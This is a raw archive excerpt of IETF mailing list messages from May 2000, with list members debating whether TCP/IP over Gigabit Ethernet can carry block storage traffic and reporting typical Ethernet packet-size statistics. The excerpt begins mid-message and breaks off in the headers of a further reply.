<DIV><FONT face=3DArial size=3D2>Thanks in advance for your =
assistance.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Jon William Toigo</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Independent Consultant and =
Author</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:jtoigo@intnet.net">jtoigo@intnet.net</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_06CD_01BFC671.F56982C0--



From owner-ietf-outbound  Thu May 25 19:00:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA22228
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 19:00:02 -0400 (EDT)
Received: from mailhost3.lanl.gov (mailhost3.lanl.gov [128.165.3.9])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22175
	for <ietf@ietf.org>; Thu, 25 May 2000 18:55:49 -0400 (EDT)
Received: from pescado.lanl.gov (bus-mail.lanl.gov [128.165.3.80])
	by mailhost3.lanl.gov (8.9.3/8.9.3/(cic-5, 2/8/99)) with ESMTP id QAA27932;
	Thu, 25 May 2000 16:55:50 -0600
Received: by pescado.lanl.gov (Postfix, from userid 7337)
	id B0A6B2167E; Thu, 25 May 2000 16:55:49 -0600 (MDT)
Received: from localhost (localhost [127.0.0.1])
	by pescado.lanl.gov (Postfix) with ESMTP
	id ABB5C23DF9; Thu, 25 May 2000 16:55:49 -0600 (MDT)
Date: Thu, 25 May 2000 22:55:49 +0000 (GMT)
From: Mike Fisk <mfisk@lanl.gov>
To: Jon William Toigo <jtoigo@IntNet.net>
Cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP
In-Reply-To: <06d001bfc693$7f18ff20$dd9cfea9@jtoigo>
Message-ID: <Pine.LNX.4.21.0005252240580.18480-100000@pescado.lanl.gov>
X-Pager-URL: http://home.lanl.gov/mfisk/snpp/
X-Homepage: http://home.lanl.gov/mfisk/
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Thu, 25 May 2000, Jon William Toigo wrote:

> I am seeking a few points of clarification:
> 
> 1.  Fibre Channel folks have attempted to explain to me why TCP/IP
> could NEVER be a viable interconnect for block level storage
> operations.  They claim:
> 
> a.  TCP is too CPU intensive and creates too much latency for storage
> I/O operations.
> 
> b.  The IP stack is too top heavy and processing packet headers is too
> slow to support storage I/O operations.
>
> c.  The maximum throughput of a GE TCP/IP connection is 768 Mps, which
> is too slow to support storage I/O operations.

This is not a theoretical limitation, but is in the ballpark reported by
many general-purpose operating systems with commodity hardware.  

>Is any of this true?

I don't believe that TCP/IP implementations couldn't be optimized to
support full link rate and low latency.  If you're building a hardware
adapter that can do SCSI and RAID fast, adding TCP shouldn't be
prohibitively hard. 

> 2.  Adaptec has posited a replacement for TCP called STP for use as a
> transport for storage.  Does anyone know anything about this?

STP is the Scheduled Transfer protocol being standardized by the ANSI T11
folks.  ST was designed to run on top of GSN (a.k.a. HIPPI-6400). In my
opinion, it is as heavy-weight as TCP with respect to most of the things
stated above.  It does have the potential advantage of being designed from
scratch to support zero-copy access to user space using specialized
interface cards.

> 3.  Current discussions of the SCSI over IP protocol seem to ignore
> the issue of TCP or any other transport protocol.  Does anyone know
> definitively what transport is being suggested by the IBM/Cisco crowd?

I believe the assumption is that you will have a local network with no
packet loss or significant bit error rate.  Basically, you assume that
your ethernet is as reliable as your SCSI cable or fiber-channel network.
For a well engineered, fully-switched LAN, that may be a reasonable
assumption.

-- Mike Fisk, RADIANT Team, Network Engineering Group, Los Alamos National
Lab See http://home.lanl.gov/mfisk/ for contact information




From owner-ietf-outbound  Thu May 25 19:30:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA22680
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 19:30:04 -0400 (EDT)
Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.236.200])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA22558
	for <ietf@ietf.org>; Thu, 25 May 2000 19:27:02 -0400 (EDT)
Received: from yogi.ece.cmu.edu (IDENT:root@YOGI.ECE.CMU.EDU [128.2.252.128])
	by ece.cmu.edu (8.9.2/8.8.8) with ESMTP id TAA24324;
	Thu, 25 May 2000 19:27:04 -0400 (EDT)
Received: from yogi.ece.cmu.edu (bassoon@localhost [127.0.0.1])
	by yogi.ece.cmu.edu (8.8.7/8.8.7) with ESMTP id TAA18567;
	Thu, 25 May 2000 19:27:03 -0400
Message-Id: <200005252327.TAA18567@yogi.ece.cmu.edu>
To: "Jon William Toigo" <jtoigo@IntNet.net>
cc: ietf@ietf.org
Subject: Re: Storage over Ethernet/IP 
In-reply-to: Your message of "Thu, 25 May 2000 17:52:14 EDT."
             <06d001bfc693$7f18ff20$dd9cfea9@jtoigo> 
Date: Thu, 25 May 2000 19:27:02 -0400
From: Dave Nagle <bassoon@yogi.ece.cmu.edu>
X-Loop: ietf@ietf.org

Jon,

Original Message
----------------
 >> I am seeking a few points of clarification:
 >> 
 >> 1.  Fibre Channel folks have attempted to explain to me why TCP/IP could =
 >> NEVER be a viable interconnect for block level storage operations.  They =
 >> claim:
 >> a.  TCP is too CPU intensive and creates too much latency for storage =
 >> I/O operations.
 >> b.  The IP stack is too top heavy and processing packet headers is too =
 >> slow to support storage I/O operations.

  There is a lot of work to show that this is not true.  Check out Van
Meter's 1998 ASPLOS paper "VISA - Netstations virtual internet SCSI
adaptor."

 Perhaps more importantly, there are many companies that are building
TCP in silicon ASICs.  This should make TCP's performance comparable
to Fibre Channel.  Both TCP/IP and FC provide about the same
functionality ... reliable, in-order transmission.  

The bottom line is that FC is done in hardware while TCP has
traditionally been done in software. Therefore, previous performance
numbers are not going to be fair.  Once TCP is in silicon, its
performance should be roughly equal to FC.

 >> c.  The maximum throughput of a GE TCP/IP connection is 768 Mps, which =
 >> is too slow to support storage I/O operations.

 I believe there are higher numbers (especially with Jumbo
Frames). Alteon's web site show's 920 Mbps.  Microsoft and Duke
University have both shown TCP performance o 1Gb+/s performance over
other networks.

  BTW, why is 768 Mbps too slow for storage.  Many apps (e.g.,
transaction workloads) are I/O's per second bound, not bandwidth
bound.  Also, even if storage over IP/ether is a bit slower than FC,
the benefits of leveraging IP's infrastructure (i.e., routers,
switches, NICs, network management, networking people) is a huge
advantage.  

 There is also the issue of SCSI over TCP/IP in the SAN vs. the
LAN/WAN.  Some companies, focusing on the SAN, are building
SCSI/lightweight transport/IP while others, focusing on the WAN,
propose SCSI/TCP/IP.  It may be the case that SAN and WAN traffic use
different transport protocols to gain a bit of extra performance in
the SAN.  

 >> Is any of this true?
 >> 
 >> 2.  Adaptec has posited a replacement for TCP called STP for use as a =
 >> transport for storage.  Does anyone know anything about this?

    From Paul von Stamwitz's posting to the ips mailing list ...
   
      The link to the SEP draft is
      http://www.ietf.org/internet-drafts/draft-wilson-sep-00.txt
   
      The press release is at:
	http://www.adaptec.com/adaptec/press/release000504.html
   
    The demo shows a Gb ethernet controller transporting SCSI traffic to several
    targets through an off-the-shelf 100TX switch with a Gb  uplink. The targets
    are ethernet to U160 SCSI bridges with one or more SCSI  drives attached. The
    host controller runs under NT4.0 at appears to the OS as a  SCSI host bus
    adapter.
   
    The architecture is based on Adaptec's SCSI Encapsulation Protocol
    (SEP).  SEP is mapped on top of TCP/IP or a light-weight transport
    protocol specifically designed for SANs.
    
    An SEP overview was presented at the IPS BOF in Adelaide last  month and an
    internet draft on SEP was submitted to IETF this week. I will  forward the
    link as soon as it becomes available. This draft is informational
    only and intended to aid in this group's work toward an industry
    standard SCSI transport protocol over IP networks.


 >> 3.  Current discussions of the SCSI over IP protocol seem to ignore the =
 >> issue of TCP or any other transport protocol.  Does anyone know =
 >> definitively what transport is being suggested by the IBM/Cisco crowd?

   Current SCSI over IP discussions are not ignoring TCP ... they are
   definitely considering TCP as the primary transport.  See the ips
   web site at:
 
     http://www.ece.cmu.edu/~ips

 >> 
 >> 4.  Another storage company is looking at Reliable UDP as a substitute =
 >> for TCP in storage data transfers.  Where can I learn more about this =
 >> protocol, which I am told was introduced many years ago by Cisco?

  Companies to look at include:

     nishansystems.com
     interprophet.com
     san.com
     arkresearch.com

  Also, I believe that the IETF IP over FC working group is now
looking at FC over IP.



dave...........

David Nagle
Director, Parallel Data Lab
Senior Reseach Computer Scientist
School of Computer Science
Carnegie Mellon University
Pittsburgh, PA 15213
412-268-3898 (office)
412-268-3890 (fax)
http://www.ece.cmu.edu/~bassoon



From owner-ietf-outbound  Thu May 25 20:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA23247
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 20:10:02 -0400 (EDT)
Received: from mailhost.IntNet.net (mailhost.IntNet.net [198.252.32.150])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23205
	for <ietf@ietf.org>; Thu, 25 May 2000 20:02:42 -0400 (EDT)
Received: from jtoigo by mailhost.IntNet.net (8.8.5/INTNET/SMI-SVR4)
	id UAA21506; Thu, 25 May 2000 20:05:52 -0400 (EDT)
X-Auth: cs-clw-5-99.intnet.net [207.90.1.99]
Message-ID: <071301bfc6a6$932353e0$dd9cfea9@jtoigo>
From: "Jon William Toigo" <jtoigo@IntNet.net>
To: "Dave Nagle" <bassoon@yogi.ece.cmu.edu>, <ietf@ietf.org>
References: <200005252327.TAA18567@yogi.ece.cmu.edu>
Subject: Re: Storage over Ethernet/IP 
Date: Thu, 25 May 2000 20:08:50 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Thanks for the feedback, Mssrs. Fisk and Nagle,

I think a problem for IT folks who are hearing early statements about SANs
based on GE has to do with an issue to which you both alluded.
Specifically, what parameters -- bandwidth, throughput, latency, etc. --
must designers consider when evaluating or building a storage networking
interconnect?

Put another way, when I design an aircraft, I know about lift, drag and
other engineering parameters and can plug them into calculations that will
enable me to design a wing to lift X number of pounds.  When it comes to
storage networks, I cannot get a straight answer from any vendor regarding
the parameters that must be observed or satisfied -- whether stated as
straightforward quantities/formula or general rules of thumb -- in order to
develop a working storage networking interconnect!

What factors determine the amount of bandwidth required?
What amount of latency can be tolerated?
How quickly must erred information be re-sent?
Does this all depend upon the characteristics of the storage traffic itself?
Are the parameters application dependent?

Surely, traditional SCSI bus design delivered a solution that must be
equaled or improved upon by SAN interconnects such as FC, GE or Infiniband
for the latter to be regarded as viable storage interconnects.  This can't
be rocket science:  Is there a convenient set of storage architecture design
parameters here that I am simply overlooking?

I have no axe to grind with the FC folks, but there seems to be a holy war
shaping up around FC versus GE as a storage interconnect.  I am tracking
strategies for TCP offload or ASICS speed-up and agree that the optimization
of TCP/IP functionality to support the use of GE and 10 speed GE as a SAN as
well as a LAN interconnect.  I find such a solution to be quite practical,
but I do not say that FC is inferior.  There are many roads that lead to
Rome, as the saying goes.  What is of concern to me (and to my readers) is
to avoid deploying a technology (FC, for example) that may need to be
"forklift upgraded" within a year.

Please let me know if you are aware of any storage networking design
criteria that must be addressed by any interconnect regardless of its
underlying protocol.

Thanks,

Jon Toigo
Independent Consultant and Author
The Holy Grail of Data Storage Management
jtoigo@intnet.net





----- Original Message -----
From: Dave Nagle <bassoon@yogi.ece.cmu.edu>
To: Jon William Toigo <jtoigo@IntNet.net>
Cc: <ietf@ietf.org>
Sent: Thursday, May 25, 2000 7:27 PM
Subject: Re: Storage over Ethernet/IP


> Jon,
>
> Original Message
> ----------------
>  >> I am seeking a few points of clarification:
>  >>
>  >> 1.  Fibre Channel folks have attempted to explain to me why TCP/IP
could =
>  >> NEVER be a viable interconnect for block level storage operations.
They =
>  >> claim:
>  >> a.  TCP is too CPU intensive and creates too much latency for storage
=
>  >> I/O operations.
>  >> b.  The IP stack is too top heavy and processing packet headers is too
=
>  >> slow to support storage I/O operations.
>
>   There is a lot of work to show that this is not true.  Check out Van
> Meter's 1998 ASPLOS paper "VISA - Netstations virtual internet SCSI
> adaptor."
>
>  Perhaps more importantly, there are many companies that are building
> TCP in silicon ASICs.  This should make TCP's performance comparable
> to Fibre Channel.  Both TCP/IP and FC provide about the same
> functionality ... reliable, in-order transmission.
>
> The bottom line is that FC is done in hardware while TCP has
> traditionally been done in software. Therefore, previous performance
> numbers are not going to be fair.  Once TCP is in silicon, its
> performance should be roughly equal to FC.
>
>  >> c.  The maximum throughput of a GE TCP/IP connection is 768 Mps, which
=
>  >> is too slow to support storage I/O operations.
>
>  I believe there are higher numbers (especially with Jumbo
> Frames). Alteon's web site show's 920 Mbps.  Microsoft and Duke
> University have both shown TCP performance o 1Gb+/s performance over
> other networks.
>
>   BTW, why is 768 Mbps too slow for storage.  Many apps (e.g.,
> transaction workloads) are I/O's per second bound, not bandwidth
> bound.  Also, even if storage over IP/ether is a bit slower than FC,
> the benefits of leveraging IP's infrastructure (i.e., routers,
> switches, NICs, network management, networking people) is a huge
> advantage.
>
>  There is also the issue of SCSI over TCP/IP in the SAN vs. the
> LAN/WAN.  Some companies, focusing on the SAN, are building
> SCSI/lightweight transport/IP while others, focusing on the WAN,
> propose SCSI/TCP/IP.  It may be the case that SAN and WAN traffic use
> different transport protocols to gain a bit of extra performance in
> the SAN.
>
>  >> Is any of this true?
>  >>
>  >> 2.  Adaptec has posited a replacement for TCP called STP for use as a
=
>  >> transport for storage.  Does anyone know anything about this?
>
>     From Paul von Stamwitz's posting to the ips mailing list ...
>
>       The link to the SEP draft is
>       http://www.ietf.org/internet-drafts/draft-wilson-sep-00.txt
>
>       The press release is at:
> http://www.adaptec.com/adaptec/press/release000504.html
>
>     The demo shows a Gb ethernet controller transporting SCSI traffic to
several
>     targets through an off-the-shelf 100TX switch with a Gb  uplink. The
targets
>     are ethernet to U160 SCSI bridges with one or more SCSI  drives
attached. The
>     host controller runs under NT4.0 at appears to the OS as a  SCSI host
bus
>     adapter.
>
>     The architecture is based on Adaptec's SCSI Encapsulation Protocol
>     (SEP).  SEP is mapped on top of TCP/IP or a light-weight transport
>     protocol specifically designed for SANs.
>
>     An SEP overview was presented at the IPS BOF in Adelaide last  month
and an
>     internet draft on SEP was submitted to IETF this week. I will  forward
the
>     link as soon as it becomes available. This draft is informational
>     only and intended to aid in this group's work toward an industry
>     standard SCSI transport protocol over IP networks.
>
>
>  >> 3.  Current discussions of the SCSI over IP protocol seem to ignore
the =
>  >> issue of TCP or any other transport protocol.  Does anyone know =
>  >> definitively what transport is being suggested by the IBM/Cisco crowd?
>
>    Current SCSI over IP discussions are not ignoring TCP ... they are
>    definitely considering TCP as the primary transport.  See the ips
>    web site at:
>
>      http://www.ece.cmu.edu/~ips
>
>  >>
>  >> 4.  Another storage company is looking at Reliable UDP as a substitute
=
>  >> for TCP in storage data transfers.  Where can I learn more about this
=
>  >> protocol, which I am told was introduced many years ago by Cisco?
>
>   Companies to look at include:
>
>      nishansystems.com
>      interprophet.com
>      san.com
>      arkresearch.com
>
>   Also, I believe that the IETF IP over FC working group is now
> looking at FC over IP.
>
>
>
> dave...........
>
> David Nagle
> Director, Parallel Data Lab
> Senior Reseach Computer Scientist
> School of Computer Science
> Carnegie Mellon University
> Pittsburgh, PA 15213
> 412-268-3898 (office)
> 412-268-3890 (fax)
> http://www.ece.cmu.edu/~bassoon
>



From owner-ietf-outbound  Thu May 25 21:00:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA23676
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 21:00:02 -0400 (EDT)
Received: from MailGate.Adtech-Inc.COM (smtp.adtech-inc.com [192.216.50.164])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23631
	for <ietf@ietf.org>; Thu, 25 May 2000 20:50:08 -0400 (EDT)
Received: from mgmgrand.adtech-inc.com (Trans_Exchange.Adtech-Inc.COM [192.216.50.163])
	by MailGate.Adtech-Inc.COM (8.10.0/8.10.0) with ESMTP id e4Q0q6220818;
	Thu, 25 May 2000 14:52:06 -1000 (HST)
Received: by mgmgrand.adtech-inc.com with Internet Mail Service (5.5.2650.21)
	id <L2H0AQRZ>; Thu, 25 May 2000 14:50:07 -1000
Message-ID: <B9906C3F4BB3D311A60F009027463EE970C6E5@mgmgrand.adtech-inc.com>
From: "Robin.Uyeshiro" <RUyeshiro@adtech-inc.com>
To: Timothy Behne <TimothyB@microwavenetworks.com>
Cc: ietf@ietf.org
Subject: RE: Average Ethernet packet length
Date: Thu, 25 May 2000 14:50:06 -1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFC6AC.560EF0AC"
X-Loop: ietf@ietf.org

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFC6AC.560EF0AC
Content-Type: text/plain

I saw an article a while back that showed spikes at 64 bytes (TCP handshake,
increased with web growth), 590 bytes (576 byte min mtu), and 1518 bytes
(Ethernet max).  This was a few years old.  I don't know if it listed an
average.  I'll try to dig it up.

	-----Original Message-----
	From:	Timothy Behne [SMTP:TimothyB@microwavenetworks.com]
	Sent:	Thursday, May 25, 2000 11:15 AM
	To:	'ietf@ietf.org'
	Subject:	Average Ethernet packet length


	> Hi,
	> 
	> A recent thread suggested something interesting - an average
Ethernet/IP
	> packet length of 500 bytes.  Has there been any work done in the
area of
	> finding average packet lengths, bandwidth usage, etc. of typical
(read:
	> unknown) networks?  Are there any "rules of thumb" values that are
	> typically used?
	> 
	> Thanks,
	> 
	> Tim Behne
	> Signal Processing Engineer
	> Tadiran Microwave Networks
	> 1000 Greenbriar, Ste 100A
	> Stafford, Texas 77477
	> timothyb@microwavenetworks.com
	> 

------_=_NextPart_001_01BFC6AC.560EF0AC
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>RE: Average Ethernet packet length</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">I saw an article a while back that =
showed spikes at 64 bytes (TCP handshake, increased with web growth), =
590 bytes (576 byte min mtu), and 1518 bytes (Ethernet max).&nbsp; This =
was a few years old.&nbsp; I don't know if it listed an average.&nbsp; =
I'll try to dig it up.</FONT></P>
<UL>
<P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
Message-----</FONT></A>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; Timothy Behne =
[SMTP:TimothyB@microwavenetworks.com]</FONT></B>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D2 FACE=3D"Arial">Thursday, May 25, 2000 11:15 AM</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">'ietf@ietf.org'</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D2 FACE=3D"Arial">Average Ethernet packet =
length</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; Hi,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; A recent thread suggested =
something interesting - an average Ethernet/IP</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; packet length of 500 =
bytes.&nbsp; Has there been any work done in the area of</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; finding average packet lengths, =
bandwidth usage, etc. of typical (read:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; unknown) networks?&nbsp; Are =
there any &quot;rules of thumb&quot; values that are</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; typically used?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Thanks,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Tim Behne</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Signal Processing =
Engineer</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Tadiran Microwave =
Networks</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 1000 Greenbriar, Ste 100A</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Stafford, Texas 77477</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; =
timothyb@microwavenetworks.com</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BFC6AC.560EF0AC--



From owner-ietf-outbound  Thu May 25 21:20:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA23958
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 21:20:02 -0400 (EDT)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23858
	for <ietf@ietf.org>; Thu, 25 May 2000 21:10:20 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id D44A44CE1A; Thu, 25 May 2000 21:10:07 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id VAA27621;
	Thu, 25 May 2000 21:09:32 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 8961C35DC2; Thu, 25 May 2000 21:08:49 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Timothy Behne <TimothyB@microwavenetworks.com>
Cc: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: Re: Average Ethernet packet length 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 25 May 2000 21:08:19 -0400
Sender: smb@research.att.com
Message-Id: <20000526010849.8961C35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <CC96542306D7D2119E0B080009EB58FE9582FA@MERCURY>, Timothy Behne writ
es:
>
>> Hi,
>> 
>> A recent thread suggested something interesting - an average Ethernet/IP
>> packet length of 500 bytes.  Has there been any work done in the area of
>> finding average packet lengths, bandwidth usage, etc. of typical (read:
>> unknown) networks?  Are there any "rules of thumb" values that are
>> typically used?

There are no good, current studies on LAN behavior that I've seen.  
There have been a number of papers on WAN behavior.  The usual result 
of those is that ~40-50% of packets are about 40-44 bytes, but most of 
the bytes are carried by packets of ~500-576 or 1500 bytes.

		--Steve Bellovin




From owner-ietf-outbound  Thu May 25 21:40:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA24254
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 21:40:03 -0400 (EDT)
Received: from lint.cisco.com (lint.cisco.com [171.68.224.209])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24211
	for <ietf@ietf.org>; Thu, 25 May 2000 21:37:59 -0400 (EDT)
Received: from bigger-dawgs.cisco.com (pferguso-isdn.cisco.com [171.70.114.134]) by lint.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id SAA27377; Thu, 25 May 2000 18:36:45 -0700 (PDT)
Message-Id: <4.3.1.2.20000525213622.00a7b990@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Thu, 25 May 2000 21:36:42 -0400
To: "Steven M. Bellovin" <smb@research.att.com>
From: Paul Ferguson <ferguson@cisco.com>
Subject: Re: Average Ethernet packet length 
Cc: Timothy Behne <TimothyB@microwavenetworks.com>,
        "'ietf@ietf.org'" <ietf@ietf.org>
In-Reply-To: <20000526010849.8961C35DC2@smb.research.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Also some good stats at www.caida.org

- paul

At 09:08 PM 05/25/2000 -0400, Steven M. Bellovin wrote:

> >> A recent thread suggested something interesting - an average Ethernet/IP
> >> packet length of 500 bytes.  Has there been any work done in the area of
> >> finding average packet lengths, bandwidth usage, etc. of typical (read:
> >> unknown) networks?  Are there any "rules of thumb" values that are
> >> typically used?
>
>There are no good, current studies on LAN behavior that I've seen.  
>There have been a number of papers on WAN behavior.  The usual result 
>of those is that ~40-50% of packets are about 40-44 bytes, but most of 
>the bytes are carried by packets of ~500-576 or 1500 bytes.



From owner-ietf-outbound  Thu May 25 22:10:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA25552
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 22:10:02 -0400 (EDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA25527
	for <ietf@ietf.org>; Thu, 25 May 2000 22:09:41 -0400 (EDT)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id TAA20893
	for <ietf@ietf.org>; Thu, 25 May 2000 19:09:41 -0700 (PDT)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0004723114@mailgate2.apple.com> for <ietf@ietf.org>;
 Thu, 25 May 2000 19:09:40 -0700
Received: from [17.201.23.37] (chesh1.apple.com [17.201.23.37])
	by scv3.apple.com (8.9.3/8.9.3) with SMTP id TAA24729
	for <ietf@ietf.org>; Thu, 25 May 2000 19:09:40 -0700 (PDT)
Message-Id: <200005260209.TAA24729@scv3.apple.com>
Subject: Re: Average Ethernet packet length
Date: Thu, 25 May 2000 19:09:50 -0700
x-sender: cheshire@mail.apple.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Stuart Cheshire <cheshire@apple.com>
To: <ietf@ietf.org>
MIME-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Loop: ietf@ietf.org

>There are no good, current studies on LAN behavior that I've seen.  
>There have been a number of papers on WAN behavior.  The usual result 
>of those is that ~40-50% of packets are about 40-44 bytes, but most of 
>the bytes are carried by packets of ~500-576 or 1500 bytes.
>
>		--Steve Bellovin

In some traces I did for my PhD work about three years ago, I found that 
51% of the packets were 40 or 41 bytes long (i.e. mostly TCP acks or 
one-byte TCP payloads). Only 15% of the packets were maximum-sized. The 
average packet size was 273 bytes. This workload was probably heavier on 
telnet than today's networks; however even when doing bulk file transfer, 
one packet in three is still an ack.

Stuart Cheshire <cheshire@apple.com>
 * Wizard Without Portfolio, Apple Computer



From owner-ietf-outbound  Thu May 25 23:20:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA27020
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 23:20:01 -0400 (EDT)
Received: from inner.net (avarice.inner.net [199.33.248.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA26965
	for <ietf@ietf.org>; Thu, 25 May 2000 23:10:45 -0400 (EDT)
Received: from wasp.inet.org ([216.52.8.30])
	by inner.net (8.7.6/8.9.3) with ESMTP id DAA04303;
	Fri, 26 May 2000 03:02:24 GMT
Message-Id: <4.2.0.58.20000525230821.00966810@avarice.inner.net>
X-Sender: rja@avarice.inner.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 25 May 2000 23:10:16 +0100
To: "Jon William Toigo" <jtoigo@INTNET.NET>
From: RJ Atkinson <rja@inet.org>
Subject: Re: Storage over Ethernet/IP
Cc: <ietf@ietf.org>
In-Reply-To: <06d001bfc693$7f18ff20$dd9cfea9@jtoigo>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 22:52 25-05-00 , Jon William Toigo wrote:

>c.  The maximum throughput of a GE TCP/IP connection is 768 Mps, which is 
>too slow to support storage I/O operations.

Provably false.  In fact TCP throughput above 768 Mbps over 1518-byte GE
has been demonstrated publicly in the past in several different fora.
At a recent DoE meeting there were several different examples cited,
though I don't have the details at hand this minute.

Ran
rja@inet.org



From owner-ietf-outbound  Thu May 25 23:40:31 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA27608
	for ietf-outbound.10@ietf.org; Thu, 25 May 2000 23:40:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA27578
	for <ietf@ietf.org>; Thu, 25 May 2000 23:38:21 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e4Q3cK926414;
